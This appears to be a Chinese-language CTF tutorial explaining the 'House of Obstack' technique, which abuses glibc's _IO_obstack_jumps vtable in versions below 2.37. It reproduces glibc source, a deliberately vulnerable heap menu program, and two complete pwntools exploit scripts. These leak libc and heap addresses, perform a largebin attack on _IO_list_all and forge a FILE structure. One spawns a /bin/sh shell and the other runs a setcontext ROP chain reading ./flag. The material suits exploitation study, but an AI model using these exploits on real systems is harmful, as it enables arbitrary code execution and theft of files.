House of Obstack(shell及orw)
源码
House of Obstack也是一种非常好用的io利用方法,目前的适用范围是2.37以下,不包括2.37,因为glibc-2.37 起删除了 _IO_obstack_jumps
及其相关函数。这个攻击手段主要是利用_IO_obstack_jumps
,其中_IO_obstack_overflow
和 _IO_obstack_xsputn
都可以触发,攻击链如下
_IO_obstack_overflow
obstack_1grow (obstack, c);
_obstack_newchunk (__o, 1);
new_chunk = CALL_CHUNKFUN (h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))
这是第一条调用链
_IO_obstack_xsputn
obstack_grow (obstack, data, n);;
_obstack_newchunk (__o, __len);
new_chunk = CALL_CHUNKFUN (h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))
实际过程中_IO_obstack_overflow
容易触发assert (c != EOF);
,导致利用失败,所以一般选择第二条链。
我们来看一下_IO_obstack_jumps表里面
这个虚表中只有中只有2个函数有赋值,其他都为空。
/* the jump table. */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
_IO_obstack_overflow
和_IO_obstack_xsputn
两个函数内容如下。为了避免绕过_IO_obstack_overflow
中的assert (c != EOF);
,我们一般用_IO_obstack_xsputn
。
static int _IO_obstack_overflow (FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF); // 此处不可控
obstack_1grow (obstack, c);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
return c;
}
static size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n); //执行此函数
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);
return n;
}
函数中的_IO_obstack_file
只是在_IO_FILE_plus
后面加了一个obstack
的指针。
struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};
简单绕过一些内容后用运行到obstack_grow
处,来调用_obstack_newchunk
。
obstack_grow(obstack, data, n);
定义:
# define obstack_grow(OBSTACK, where, length) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })
替换:
({
struct obstack *__o = (obstack);
int __len = (n);
if (__o->next_free + __len > __o->chunk_limit)_obstack_newchunk(__o, __len);
memcpy(__o->next_free, data, __len);
__o->next_free += __len;
(void) 0;
});
之后触发CALL_CHUNKFUN
void _obstack_newchunk(struct obstack *h, int length) {
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;
/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN(h, new_size); // 调用函数位置
...
}
CALL_CHUNKFUN
宏实际上是使用了结构体中的指针(*(h)->chunkfun)((h)->extra_arg, (size))
,并且第一个参数可控,同时需要保证(((h)->use_extra_arg)
为1
new_chunk = CALL_CHUNKFUN(h, new_size);
定义:
#define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk * (*) (long) )(h)->chunkfun)((size)))
替换:
(((h)->use_extra_arg) ? (*(h)->chunkfun)((h)->extra_arg, (new_size)) : (*(struct _obstack_chunk *(*) (long) )(h)->chunkfun)((new_size)))
因此可以按下图所示方法构造:
shell
还是按照惯例给出pwn源码和exp的前段逆向
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/houseofobstack/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/houseofobstack/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
dbg()
io.interactive()
那么前面在学习io的时候已经了解很多了,常规的泄露libc,堆地址这里不再赘述,直接放exp
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
# Free chunks to set up memory leak
free(2)
free(0)
# Leak libc address
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)
info("libc base: " + hex(libc.address))
# Leak heap base address
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
在拿到堆地址之后,使用largebin attack攻击_IO_list_all,把stderr结构体伪造到堆块上面,然后在堆块上面进行布局
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(heap_base + 0x6d0) * 2)
add(2, 0x428)
指向堆块,这时堆块里面写入的,就会当做stderr结构体
file_addr = heap_base + 0x6d0
# Construct fake file structure
fake_file = b""
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(1) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym["system"])#调用位置
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(next(libc.search(b"/bin/sh")))#参数
fake_file += p16(1) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(0) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)
fake_file += p64(file_addr + 0x30)
因为我们需要调用_IO_obstack_jumps,所以把虚表的位置填上这个虚表的地址
这里的两条调用链,我们正常放这个的话,会先调用到_IO_obstack_overflow,但是上面也说了,这条调用链其实并不稳定,那我们就要把偏移改一改,IO_obstack_overflow到IO_obstack_xsputn是0x20的偏移,这也就意味着,我们把偏移加上0x20,程序就会把现在的IO_obstack_xsputn当做原本的IO_obstack_overflow,先进行调用,这也就是虚表加上0x20的原因
然后是最后加上0x30,其实这个位置就是我们调用函数的参数位置file_addr + 0x30,也就是堆块地址加上0x30,然后取出其中加0x48的位置,这个就是相对于堆块偏移为0x78的地方,这里存的就是我们的bin/sh字符串
edit(2, fake_file)
edit(1, b'a' * 0x10 + p32(0xfbad1880))
io.sendafter(b"choice:", b"5")
io.interactive()
这样就可以拿到shell
orw
而对于orw来说,其实也就是调用的函数位置改成p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True))),然后这样就会调用到magic gadget
fake_file = b""
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(1) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True))) # FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(frame_addr) # _old_offset
fake_file += p16(1) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(0) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)
fake_file += p64(file_addr + 0x30)
这里的rdi就是我们放在伪造的结构体最后的那一行fake_file += p64(file_addr + 0x30),本来应该这一行填什么,rdi里面就会是什么,这里填的就是堆块的地址偏移,然后经过这个gadget,写进了rdx里面
然后[rdx + 0x20]这一句,其实是进入rdx加上0x20的地址处,这里放的是frame结构体
frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8 + 8] = p64(frame_addr)
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)
结构体里面对应的偏移填上setcontext就行,更具体的分析前面有相关文章介绍过,然后就都是模版了
最后给上orw的完整exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/houseofobstack/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/houseofobstack/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())
def free(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:", str(index).encode())
# Initialize chunks
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
# Free chunks to set up memory leak
free(2)
free(0)
# Leak libc address
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)
info("libc base: " + hex(libc.address))
# Leak heap base address
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
# Re-add chunk and edit to exploit
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(heap_base + 0x6d0) * 2)
add(2, 0x428)
# Prepare payload for fake file structure and ROP chain
file_addr = heap_base + 0x6d0
payload_addr = file_addr + 0x10
frame_addr = file_addr + 0xe8
rop_addr = frame_addr + 0xf8
buf_addr = rop_addr + 0x60
# Construct fake file structure
fake_file = b""
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(1) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True))) # FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(frame_addr) # _old_offset
fake_file += p16(1) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(0) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)
fake_file += p64(file_addr + 0x30)
# Create SigreturnFrame for ROP chain
frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8 + 8] = p64(frame_addr)
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)
# ROP chain
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0x100)
rop += p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])
# Construct full payload
payload = b""
payload += fake_file
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += frame
payload = payload.ljust(rop_addr - payload_addr, b'\x00')
payload += rop
payload = payload.ljust(buf_addr - payload_addr, b'\x00')
payload += b'./flag\x00'
edit(2, payload)
edit(1, b'a' * 0x10 + p32(0xfbad1880))
gdb.attach(io, "b _obstack_newchunk\nc")
io.sendafter(b"choice:", b"5")
io.interactive()